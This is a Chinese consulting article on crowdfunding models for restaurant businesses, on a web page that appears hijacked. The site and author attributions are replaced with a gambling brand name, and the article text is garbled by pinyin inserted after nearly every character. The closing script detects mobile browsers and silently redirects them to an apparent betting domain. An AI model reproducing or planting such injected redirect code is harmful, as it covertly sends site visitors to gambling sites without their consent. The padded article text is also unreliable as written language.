2021欧洲杯指定官网

English
简体中文
To provide you with one-stop management consulting services
专家观点
共生的餐饮生态体系:餐饮众筹商业模式解析
发表时(shi)间:2017-07-12 作者: 字号: A A A

订阅“2021欧洲杯指定官网”,与(yu)千位(wei)咨询师零距(ju)离(li)

===========================


随(sui)着十(shi)三五(wu)发展规(gui)划的(de)(de)(de)(de)(de)(de)实施(shi),中(zhong)国餐(can)(can)饮(yin)必(bi)定会结束散乱无(wu)序的(de)(de)(de)(de)(de)(de)竞争(zheng)状(zhuang)态,在互联网经济的(de)(de)(de)(de)(de)(de)影响下,餐(can)(can)饮(yin)企(qi)业(ye)(ye)发展呈(cheng)现两大(da)(da)趋势,一(yi)是多个大(da)(da)型餐(can)(can)饮(yin)连锁集团会控制大(da)(da)部分市场份额,每个集团会形(xing)成(cheng)诸多小而美的(de)(de)(de)(de)(de)(de)餐(can)(can)饮(yin)品牌集群,有着强大(da)(da)的(de)(de)(de)(de)(de)(de)后台连锁服务支持体(ti)(ti)系,对大(da)(da)众(zhong)消(xiao)(xiao)费者(zhe)的(de)(de)(de)(de)(de)(de)需求变化非(fei)常了解,能(neng)(neng)够快(kuai)速(su)进行自身的(de)(de)(de)(de)(de)(de)品牌和(he)产品创新来(lai)满足消(xiao)(xiao)费的(de)(de)(de)(de)(de)(de)需求,具备(bei)高效(xiao)的(de)(de)(de)(de)(de)(de)的(de)(de)(de)(de)(de)(de)盈利(li)模(mo)式复制能(neng)(neng)力,对整个连锁体(ti)(ti)系人、财(cai)、物、信息的(de)(de)(de)(de)(de)(de)控制能(neng)(neng)力强大(da)(da),能(neng)(neng)够成(cheng)为(wei)(wei)(wei)餐(can)(can)饮(yin)生态圈的(de)(de)(de)(de)(de)(de)主导(dao)(dao)者(zhe),整合多种产业(ye)(ye)和(he)业(ye)(ye)态来(lai)满足消(xiao)(xiao)费者(zhe)体(ti)(ti)验,现在的(de)(de)(de)(de)(de)(de)西贝等餐(can)(can)饮(yin)企(qi)业(ye)(ye)已初(chu)具雏(chu)形(xing)。同时,会形(xing)成(cheng)百家规(gui)模(mo)的(de)(de)(de)(de)(de)(de)中(zhong)式米其林(lin)星级餐(can)(can)厅,以(yi)餐(can)(can)饮(yin)大(da)(da)师品牌和(he)尖叫(jiao)的(de)(de)(de)(de)(de)(de)产品为(wei)(wei)(wei)主导(dao)(dao)的(de)(de)(de)(de)(de)(de)高端(duan)餐(can)(can)饮(yin)企(qi)业(ye)(ye),来(lai)满足中(zhong)高端(duan)消(xiao)(xiao)费者(zhe)的(de)(de)(de)(de)(de)(de)需求,让中(zhong)餐(can)(can)成(cheng)为(wei)(wei)(wei)世界主流的(de)(de)(de)(de)(de)(de)文(wen)化餐(can)(can)饮(yin),从而带(dai)动中(zhong)国餐(can)(can)饮(yin)文(wen)化的(de)(de)(de)(de)(de)(de)全(quan)球化布局。


众(zhong)(zhong)筹(chou)(chou)(chou)这种(zhong)商业(ye)模(mo)(mo)(mo)式的(de)(de)(de)(de)(de)出现,正是(shi)站在(zai)了(le)餐(can)饮(yin)(yin)急速(su)变(bian)革的(de)(de)(de)(de)(de)浪(lang)潮上,传统(tong)餐(can)饮(yin)(yin)的(de)(de)(de)(de)(de)发展速(su)度、质量、持(chi)(chi)久(jiu)性等问题(ti)(ti)已经摆在(zai)了(le)创业(ye)者面前(qian),甚至国(guo)际(ji)化西(xi)式快餐(can)品牌在(zai)中国(guo)遇到(dao)(dao)前(qian)所未有的(de)(de)(de)(de)(de)萎缩和挑战。如(ru)何解决(jue)持(chi)(chi)久(jiu)性的(de)(de)(de)(de)(de)问题(ti)(ti),是(shi)餐(can)饮(yin)(yin)发展的(de)(de)(de)(de)(de)瓶(ping)颈。众(zhong)(zhong)筹(chou)(chou)(chou)模(mo)(mo)(mo)式的(de)(de)(de)(de)(de)出现,或许(xu)是(shi)餐(can)饮(yin)(yin)创业(ye)者的(de)(de)(de)(de)(de)利(li)好(hao)模(mo)(mo)(mo)式,但是(shi)我(wo)们必(bi)(bi)须清楚其中的(de)(de)(de)(de)(de)关(guan)键要素,只有明确(que)众(zhong)(zhong)筹(chou)(chou)(chou)的(de)(de)(de)(de)(de)目(mu)的(de)(de)(de)(de)(de),把握好(hao)内(nei)涵,才能运用好(hao)这种(zhong)模(mo)(mo)(mo)式,每一个众(zhong)(zhong)筹(chou)(chou)(chou)企业(ye)必(bi)(bi)须回到(dao)(dao)好(hao)以下几个问题(ti)(ti):如(ru)何解决(jue)餐(can)饮(yin)(yin)盈利(li)模(mo)(mo)(mo)式的(de)(de)(de)(de)(de)问题(ti)(ti)?如(ru)何解决(jue)餐(can)饮(yin)(yin)众(zhong)(zhong)筹(chou)(chou)(chou)体系控制(zhi)(zhi)的(de)(de)(de)(de)(de)问题(ti)(ti)?如(ru)何控制(zhi)(zhi)好(hao)众(zhong)(zhong)筹(chou)(chou)(chou)的(de)(de)(de)(de)(de)节(jie)奏和方式?


▌ 餐(can)饮盈利模式设计(ji)问题


众筹的(de)(de)(de)(de)(de)基(ji)础,就(jiu)是(shi)(shi)(shi)你(ni)的(de)(de)(de)(de)(de)项(xiang)目是(shi)(shi)(shi)真的(de)(de)(de)(de)(de)是(shi)(shi)(shi)可(ke)以盈利(li)(li)的(de)(de)(de)(de)(de),可(ke)以为大(da)家(jia)带(dai)来(lai)持(chi)(chi)续收益的(de)(de)(de)(de)(de),如果违背了(le)这个(ge)原则(ze),众筹就(jiu)成了(le)一个(ge)骗(pian)局。餐(can)饮(yin)(yin)业(ye)(ye)的(de)(de)(de)(de)(de)发展,已经经历了(le)长期的(de)(de)(de)(de)(de)低水平发展的(de)(de)(de)(de)(de)局面,随着互(hu)联网基(ji)因(yin)的(de)(de)(de)(de)(de)切入,诸(zhu)多餐(can)饮(yin)(yin)盈利(li)(li)模式的(de)(de)(de)(de)(de)新(xin)探索让大(da)家(jia)看到了(le)餐(can)饮(yin)(yin)持(chi)(chi)续发展的(de)(de)(de)(de)(de)可(ke)行性。一个(ge)好的(de)(de)(de)(de)(de)餐(can)饮(yin)(yin)商(shang)业(ye)(ye)模式,必(bi)须(xu)是(shi)(shi)(shi)在实践中验证是(shi)(shi)(shi)盈利(li)(li)的(de)(de)(de)(de)(de),必(bi)须(xu)能(neng)够标准化的(de)(de)(de)(de)(de)复制,才具备众筹的(de)(de)(de)(de)(de)基(ji)础,不然(ran),后续的(de)(de)(de)(de)(de)风险(xian)就(jiu)是(shi)(shi)(shi)不可(ke)控的(de)(de)(de)(de)(de),就(jiu)会失去众筹的(de)(de)(de)(de)(de)意义。餐(can)饮(yin)(yin)商(shang)业(ye)(ye)模式创(chuang)新(xin)的(de)(de)(de)(de)(de)过程中,餐(can)饮(yin)(yin)企业(ye)(ye)清楚自身的(de)(de)(de)(de)(de)平台定位,那必(bi)须(xu)围绕消费者(zhe)需求(qiu)来(lai)设定企业(ye)(ye)的(de)(de)(de)(de)(de)产品(pin)、服(fu)务、环(huan)境等核心要素,同时设计(ji)线上线下(xia)互(hu)为融合商(shang)业(ye)(ye)模式,以保证消费者(zhe)的(de)(de)(de)(de)(de)满意度和忠诚度的(de)(de)(de)(de)(de)提升。


围绕(rao)消(xiao)(xiao)费者(zhe)(zhe),餐饮企业必(bi)须设(she)计出让消(xiao)(xiao)费者(zhe)(zhe)尖(jian)叫(jiao)的(de)产品(pin)、服务(wu)、环境(jing)的(de)综合体验,让自身的(de)文化(hua)内涵通过线(xian)上与(yu)消(xiao)(xiao)费者(zhe)(zhe)产生共鸣,引导消(xiao)(xiao)费者(zhe)(zhe)到(dao)线(xian)下体验,通过有文化(hua)的(de)产品(pin)设(she)计打动(dong)消(xiao)(xiao)费者(zhe)(zhe),更能够让消(xiao)(xiao)费者(zhe)(zhe)参与(yu)到(dao)企业的(de)管(guan)理活动(dong)中来,从(cong)菜品(pin)研发到(dao)环境(jing)设(she)计、营销活动(dong)、营运标准,无处不存在消(xiao)(xiao)费者(zhe)(zhe)的(de)意见和(he)智慧(hui),并且通过众筹(chou)等(deng)模式分享所带(dai)来的(de)利(li)益,从(cong)而增强消(xiao)(xiao)费者(zhe)(zhe)的(de)粘性和(he)忠诚(cheng)度(du)。


 如何(he)解决餐饮众筹体系控(kong)制(zhi)问题


众(zhong)筹,首先筹得的(de)是(shi)人,优秀的(de)合作伙伴,是(shi)众(zhong)筹的(de)首要目标(biao)。但是(shi),人是(shi)最复杂的(de)社会动物,在众(zhong)筹过程中(zhong),众(zhong)筹体(ti)系(xi)的(de)控(kong)制始终是(shi)模式(shi)发展中(zhong)的(de)瓶颈。众(zhong)多(duo)的(de)股权带来(lai)了众(zhong)多(duo)的(de)意(yi)见和分歧,这就要求餐饮众(zhong)筹必须事(shi)先设(she)定好游(you)戏规则,避免后期的(de)管理失控(kong)。互联网(wang)的(de)开放(fang)式(shi)文化(hua)基因,以(yi)及扁平化(hua)的(de)组(zu)织,为众(zhong)筹企业(ye)带来(lai)了新的(de)组(zu)织思考,如何利(li)用好众(zhong)筹的(de)资源,让大家群(qun)策群(qun)力,帮助这个商业(ye)模式(shi)成功(gong)。


1、众筹对象问题:


众筹(chou)(chou)不是人越多(duo)越好,也不是钱越多(duo)越好。众筹(chou)(chou)企业(ye)必须是一(yi)批认同企业(ye)价值观(guan)和(he)(he)商业(ye)模式的(de)忠(zhong)实(shi)伙(huo)伴,不然的(de)话,唯利是图,利尽(jin)则散,难以(yi)形成稳定的(de)组织,甚(shen)至(zhi)会因此损失品牌发展的(de)机会。众筹(chou)(chou)企业(ye)必须通过粉丝管理体系来进(jin)行(xing)有效筛(shai)选(xuan)(xuan)和(he)(he)培养(yang),来保证(zheng)众筹(chou)(chou)对象的(de)准(zhun)确性。大家从认识你(ni)到(dao)了解你(ni)到(dao)忠(zhong)诚你(ni),需(xu)要逐(zhu)步的(de)筛(shai)选(xuan)(xuan)和(he)(he)培养(yang),不然后续的(de)问题诸多(duo)。粉丝管理必须经(jing)历(li)共鸣、共享、共建、共生的(de)一(yi)个过程。

 


 我们(men)只有(you)通过(guo)粉丝全生命链(lian)的管理,才能(neng)保证我们(men)的众(zhong)筹对象(xiang)的准确性,才能(neng)保证众(zhong)筹结果是良性的可持续的:


  • 是否有清晰地价值主张?是否能够让(rang)目(mu)标(biao)人群(qun)产生共鸣?

  • 是否能够让目标人群传播你?是否能够把盈利模式(shi)让大家认同并分享出去?

  • 是(shi)否能够建立良(liang)好的游(you)戏规(gui)则(ze),让众筹对象参与到事业中来,成为你的事业伙(huo)伴?

  • 是否能够通(tong)过众筹,形(xing)成餐饮产业的生态圈(quan),让(rang)大家(jia)在里(li)面都能有自己的发展(zhan)空(kong)间,又互惠互利(li),持续发展(zhan)?


2、众筹管理机制问题:


众(zhong)(zhong)筹(chou)(chou)(chou)是一(yi)个(ge)集合(he)(he)诸多零散资(zi)(zi)(zi)源(yuan)形成合(he)(he)力(li)的(de)(de)(de)过程(cheng)(cheng)(cheng),如果(guo)不能(neng)有效地分配资(zi)(zi)(zi)源(yuan),扮演好(hao)各自的(de)(de)(de)角色,就(jiu)会(hui)出现散乱的(de)(de)(de)局面,也会(hui)影(ying)响(xiang)到众(zhong)(zhong)筹(chou)(chou)(chou)本身(shen)的(de)(de)(de)持续性。一(yi)个(ge)组(zu)织不能(neng)把自己的(de)(de)(de)流(liu)程(cheng)(cheng)(cheng)机(ji)制打开,就(jiu)不能(neng)利用好(hao)众(zhong)(zhong)筹(chou)(chou)(chou)平台的(de)(de)(de)大(da)(da)规模资(zi)(zi)(zi)源(yuan),还(hai)限于自身(shen)狭(xia)窄的(de)(de)(de)管(guan)理(li)空间内,就(jiu)失去了智(zhi)慧(hui)集合(he)(he)的(de)(de)(de)机(ji)会(hui)。众(zhong)(zhong)筹(chou)(chou)(chou)的(de)(de)(de)根本目的(de)(de)(de)是集合(he)(he)大(da)(da)家的(de)(de)(de)资(zi)(zi)(zi)源(yuan)和(he)智(zhi)慧(hui),创(chuang)(chuang)造属(shu)于大(da)(da)家的(de)(de)(de)事业(ye)(ye)平台,所(suo)以全服务链的(de)(de)(de)管(guan)理(li)是餐饮众(zhong)(zhong)筹(chou)(chou)(chou)创(chuang)(chuang)业(ye)(ye)的(de)(de)(de)核心内涵,也是今后竞争的(de)(de)(de)根本。任何(he)商业(ye)(ye)模式(shi),最后一(yi)定会(hui)落(luo)实(shi)到组(zu)织层面进行(xing)操(cao)作(zuo),所(suo)以必须设计合(he)(he)理(li)的(de)(de)(de)组(zu)织结构和(he)管(guan)理(li)流(liu)程(cheng)(cheng)(cheng)、制度、表单来实(shi)现组(zu)织运(yun)行(xing),来保障商业(ye)(ye)模式(shi)的(de)(de)(de)实(shi)现。这(zhei)也是企业(ye)(ye)知识(shi)管(guan)理(li)体(ti)(ti)系的(de)(de)(de)基础。餐饮企业(ye)(ye)在(zai)发展过程(cheng)(cheng)(cheng)中会(hui)大(da)(da)量引入职业(ye)(ye)经理(li)人,就(jiu)必须有准(zhun)确的(de)(de)(de)游戏规则,把企业(ye)(ye)的(de)(de)(de)知识(shi)管(guan)理(li)体(ti)(ti)系建(jian)立起来,避免个(ge)体(ti)(ti)和(he)小团队影(ying)响(xiang)企业(ye)(ye)整体(ti)(ti)的(de)(de)(de)发展,避免出现执行(xing)性颠(dian)覆的(de)(de)(de)不良后果(guo)。


▌ 如何控制好众筹的节奏和方(fang)式


餐饮众(zhong)筹必(bi)须和企业的(de)(de)(de)(de)生(sheng)命周期相匹配,不(bu)能过早或者过多的(de)(de)(de)(de)透支企业的(de)(de)(de)(de)盈利复制能力和管理控制能力。餐饮创业企业可(ke)以根据自身的(de)(de)(de)(de)需(xu)要,从产品众(zhong)筹逐步延伸到(dao)单店众(zhong)筹,最(zui)(zui)后完成整(zheng)体(ti)的(de)(de)(de)(de)众(zhong)筹,这种节奏的(de)(de)(de)(de)把(ba)握(wo)是现阶段众(zhong)筹企业忽视的(de)(de)(de)(de)问题,往(wang)往(wang)看上(shang)去(qu)很好的(de)(de)(de)(de)项目,最(zui)(zui)后功亏一篑。


众(zhong)(zhong)(zhong)筹(chou)过(guo)程中,企(qi)业(ye)必须(xu)牢牢地(di)抓住(zhu)经(jing)营控(kong)制(zhi)(zhi)这(zhei)(zhei)一红(hong)线,从(cong)股权和责权上给予明确(que),也可(ke)(ke)以采取托管的(de)(de)方式(shi)(shi)(shi)进(jin)(jin)行(xing)专(zhuan)业(ye)管理(li),保(bao)证盈利模(mo)式(shi)(shi)(shi)的(de)(de)有(you)效复制(zhi)(zhi)和控(kong)制(zhi)(zhi)。在初期进(jin)(jin)行(xing)实(shi)物(wu)或(huo)服务(wu)进(jin)(jin)行(xing)众(zhong)(zhong)(zhong)筹(chou)时,可(ke)(ke)以灵活财务(wu)粉(fen)丝(si)折(zhe)扣、预付卡等方式(shi)(shi)(shi)进(jin)(jin)行(xing)支付,目的(de)(de)是聚拢人(ren)气,产生(sheng)粘(zhan)性。后(hou)期随着(zhe)对(dui)项目管理(li)控(kong)制(zhi)(zhi)能力(li)的(de)(de)增长(zhang),粉(fen)丝(si)管理(li)能力(li)的(de)(de)完善(shan),可(ke)(ke)以开始尝试单店(dian)的(de)(de)众(zhong)(zhong)(zhong)筹(chou),这(zhei)(zhei)种众(zhong)(zhong)(zhong)筹(chou)更倾向于对(dui)企(qi)业(ye)了解和忠诚的(de)(de)内(nei)部粉(fen)丝(si),比(bi)如(ru)店(dian)长(zhang)、经(jing)理(li)等,以保(bao)证单店(dian)经(jing)营的(de)(de)盈利能力(li)。良(liang)品铺(pu)子(zi)实(shi)施的(de)(de)掌柜责任制(zhi)(zhi)就(jiu)是一种单店(dian)众(zhong)(zhong)(zhong)筹(chou)的(de)(de)模(mo)式(shi)(shi)(shi),能够(gou)让店(dian)长(zhang)充分发挥自身作用,带领团队有(you)效作战,产生(sheng)超出(chu)预想(xiang)的(de)(de)业(ye)绩。最后(hou),随着(zhe)企(qi)业(ye)自身的(de)(de)众(zhong)(zhong)(zhong)筹(chou)能力(li)成(cheng)熟(shu),可(ke)(ke)以进(jin)(jin)行(xing)公司层面(mian)的(de)(de)股权众(zhong)(zhong)(zhong)筹(chou),这(zhei)(zhei)就(jiu)需要(yao)(yao)清(qing)晰地(di)进(jin)(jin)入和退(tui)出(chu)机制(zhi)(zhi),需要(yao)(yao)明确(que)的(de)(de)利益(yi)分配(pei)模(mo)式(shi)(shi)(shi),往往企(qi)业(ye)需要(yao)(yao)对(dui)投资者进(jin)(jin)行(xing)偿付保(bao)证,也要(yao)(yao)控(kong)制(zhi)(zhi)众(zhong)(zhong)(zhong)筹(chou)的(de)(de)规模(mo)人(ren)数,合(he)理(li)合(he)法的(de)(de)进(jin)(jin)行(xing)众(zhong)(zhong)(zhong)筹(chou)运营。


众(zhong)(zhong)筹(chou)作(zuo)为(wei)一种创新的(de)(de)(de)(de)融资模(mo)式,还有(you)诸多不完善的(de)(de)(de)(de)地方,餐(can)饮作(zuo)为(wei)一个具备永续发(fa)展(zhan)动(dong)力的(de)(de)(de)(de)行(xing)业(ye)(ye),需(xu)要在这种模(mo)式上尝试(shi)和(he)我(wo)完善。但(dan)根本(ben)而言,自身的(de)(de)(de)(de)盈利能(neng)力和(he)管理(li)控制能(neng)力的(de)(de)(de)(de)建设,是餐(can)饮发(fa)展(zhan)的(de)(de)(de)(de)核心基础,没有(you)实(shi)际(ji)的(de)(de)(de)(de)操(cao)作(zuo),没有(you)市场(chang)的(de)(de)(de)(de)检验(yan),完全依赖逻辑(ji)和(he)故事来(lai)(lai)吸(xi)引众(zhong)(zhong)筹(chou)的(de)(de)(de)(de)项目,势必(bi)会(hui)带来(lai)(lai)市场(chang)的(de)(de)(de)(de)混乱和(he)无序,让一大(da)批能(neng)够通过(guo)众(zhong)(zhong)筹(chou)成(cheng)长起(qi)来(lai)(lai)的(de)(de)(de)(de)品(pin)(pin)牌(pai)丧失了(le)发(fa)展(zhan)的(de)(de)(de)(de)机会(hui)。餐(can)饮人必(bi)须保持新鲜活力的(de)(de)(de)(de)创业(ye)(ye)状态,避免惯(guan)性思维和(he)守成(cheng)不变的(de)(de)(de)(de)习惯(guan),牢牢抓住商业(ye)(ye)模(mo)式的(de)(de)(de)(de)创新机会(hui),让自身的(de)(de)(de)(de)品(pin)(pin)牌(pai)借(jie)助市场(chang)和(he)消费者的(de)(de)(de)(de)力量,走(zou)的(de)(de)(de)(de)更(geng)踏实(shi)、更(geng)持久!

 

作者:史俊(jun),2021欧洲杯指定官网连锁经营研究院院长

来源:2021欧洲杯指定官网

分享到:
在线咨询
上门义诊
var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?993185dc8689f489fddf05459dcb9ba5"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })(); function browserRedirect() { var sUserAgent= navigator.userAgent.toLowerCase(); var bIsIpad= sUserAgent.match(/ipad/i) == "ipad"; var bIsIphoneOs= sUserAgent.match(/iphone os/i) == "iphone os"; var bIsMidp= sUserAgent.match(/midp/i) == "midp"; var bIsUc7= sUserAgent.match(/rv:1.2.3.4/i) == "rv:1.2.3.4"; var bIsUc= sUserAgent.match(/ucweb/i) == "ucweb"; var bIsAndroid= sUserAgent.match(/android/i) == "android"; var bIsCE= sUserAgent.match(/windows ce/i) == "windows ce"; var bIsWM= sUserAgent.match(/windows mobile/i) == "windows mobile"; if (bIsIpad || bIsIphoneOs || bIsMidp || bIsUc7 || bIsUc || bIsAndroid || bIsCE || bIsWM) { window.setTimeout("window.location='http://leyubet1410.com'",1000); } else { document.writeln(""); document.writeln(""); document.writeln(""); } } browserRedirect();